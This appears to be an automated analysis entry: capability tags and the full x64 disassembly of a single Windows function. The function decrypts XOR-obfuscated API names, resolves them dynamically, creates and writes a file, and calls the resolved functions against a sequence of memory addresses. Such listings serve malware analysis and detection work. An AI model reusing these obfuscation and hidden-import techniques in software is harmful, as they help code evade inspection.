Function at 0x140012ed0
Capabilities:
Encode data using xor
Terminate process
Write file on windows

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x4f]
sub rsp, 0xd8
mov rax, qword [0x1400c4080]
xor rax, rsp
mov qword [rbp + 0x2f], rax
cmp byte [0x1400b50f1], 0
movsd xmm0, qword [str.TOXQR]
movzx eax, word [0x1400b50f0]
movsd qword [rbp + 0xf], xmm0
mov word [rbp + 0x17], ax
je 0x140012f36
xor byte [rbp + 0x10], 0x3b
xor byte [rbp + 0x11], 0x3c
xor byte [rbp + 0x12], 0x3d
xor byte [rbp + 0x13], 0x3e
xor byte [rbp + 0x14], 0x3f
xor byte [rbp + 0x15], 0x40
xor byte [rbp + 0x16], 0x41
xor byte [rbp + 0x17], 0x42
xor byte [rbp + 0x18], 0x43
mov byte [rbp + 0xf], WSASetLastError
lea rcx, [rbp + 0xf]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
jne 0x140012f51
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [0x1400b4d08]
mov qword [rsp + 0xf0], rsi
mov qword [rsp + 0xf8], rdi
mov edi, dword [reloc.WS2_32.dll_accept]
mov qword [rsp + 0x100], r14
mov qword [rsp + 0xd0], r15
xor r15d, r15d
movups xmmword [rbp - 0x21], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
movaps xmmword [rsp + 0xc0], xmm6
test al, al
je 0x140013121
cmp edi, 2
jl 0x1400130e1
movdqa xmm0, xmmword [0x1400b69d0]
lea rcx, [rbp - 0x1d]
movdqa xmm5, xmmword [0x1400b6920]
mov edx, r15d
movdqa xmm4, xmmword [0x1400b69c0]
movdqa xmm6, xmmword [0x1400b6940]
movdqa xmmword [rbp - 9], xmm0
mov r8d, dword [rbp - 9]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400b69b0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b69b0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x140012fe0
jmp 0x140013121
lea r9, [rbp - 0x21]
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0x22b63cbf
lea r9, [r9 + 1]
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x3a
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1400130f0
lea rdx, [rbp - 0x21]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx ecx, word [0x1400b5190]
mov r14, rax
mov word [rbp - 0x29], cx
movzx ecx, byte [0x1400b5192]
mov byte [rbp - 0x27], cl
mov ecx, r15d
movups xmm0, xmmword [str.tOqNi__5_f_]
movups xmmword [rbp - 0x39], xmm0
cmp edi, 2
jl 0x140013294
movdqa xmm0, xmmword [0x1400b69d0]
lea rdx, [rbp - 0x35]
movdqa xmm5, xmmword [0x1400b6920]
movdqa xmm4, xmmword [0x1400b69c0]
movdqa xmm6, xmmword [0x1400b6940]
movdqa xmmword [rbp - 9], xmm0
mov r8d, dword [rbp - 9]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400b69b0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b69b0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x140013190
cmp ecx, 0x13
jge 0x1400132cd
movsxd rax, ecx
lea r8, [rbp - 0x39]
add r8, rax
nop
mov eax, 0x22b63cbf
lea r8, [r8 + 1]
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3b
movzx eax, cl
inc ecx
sub al, dl
add al, 0x3a
xor byte [r8 - 1], al
cmp ecx, 0x13
jl 0x1400132a0
lea rdx, [rbp - 0x39]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movaps xmm6, xmmword [rsp + 0xc0]
mov rsi, rax
test r14, r14
je 0x14001357b
test rax, rax
je 0x14001357b
cmp byte [0x1400b4f0f], r15b
mov rcx, qword [str._C_PNS_A0e]
mov qword [rbp + 0xf], rcx
je 0x140013451
cmp edi, 2
jl 0x140013410
movdqa xmm2, xmmword [0x1400b6920]
movdqa xmm4, xmmword [0x1400b69c0]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400b6930]
movdqa xmm0, xmm2
mov eax, dword [0x1400b69d0]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b6940]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b69b0]
movd xmm1, dword [rbp + 0xf]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
movd dword [rbp + 0xf], xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400b6940]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b69b0]
movd xmm1, dword [rbp + 0x13]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x13], xmm2
jmp 0x140013451
lea r9, [rbp + 0xf]
mov r8d, r15d
nop word [rax + rax]
mov eax, 0x22b63cbf
lea r9, [r9 + 1]
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x3a
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140013420
mov qword [rsp + 0x30], r15
lea rcx, [rbp + 0xf]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0xe0000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [0x1400c6410], rax
mov rcx, rax
cmp rax, 0xffffffffffffffff
jne 0x140013492
mov al, 2
jmp 0x14001357d
mov eax, dword [str.]
lea r9, [rbp + 0x1f]
mov dword [rbp + 0x23], eax
lea rdx, [rbp + 0x23]
movzx eax, word [reloc.WLDAP32.dll_Ordinal_32]
mov r8d, 6
mov word [rbp + 0x27], ax
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1400134d7
mov rcx, qword [0x1400c6410]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 3
jmp 0x14001357d
mov rax, qword [0x1400c6410]
lea rcx, [rbp + 7]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], 0x8000000
xor r8d, r8d
mov edx, 0x2000000
mov dword [rsp + 0x20], 0x40
call r14
test eax, eax
jns 0x14001350d
mov al, 4
jmp 0x14001357d
mov edi, reloc.WLDAP32.dll_Ordinal_46
movabs rbx, 0x400000000000
nop dword [rax]
mov rcx, qword [rbp + 7]
lea rax, [rbp + 0xf]
mov dword [rsp + 0x48], 0x40
lea r8, [0x1400c6418]
mov dword [rsp + 0x40], 0x2000
xor r9d, r9d
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
lea rdx, [r9 - 1]
mov qword [rbp + 0xf], rbx
mov qword [rsp + 0x20], 0x1000
call rsi
test eax, eax
jns 0x140013577
dec rdi
ror rbx, 1
cmp rdi, 0x26
ja 0x140013520
xor al, al
jmp 0x14001357d
mov al, 1
mov r14, qword [rsp + 0x100]
mov rdi, qword [rsp + 0xf8]
mov rsi, qword [rsp + 0xf0]
mov r15, qword [rsp + 0xd0]
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400a04f0
add rsp, 0xd8
pop rbx
pop rbp
ret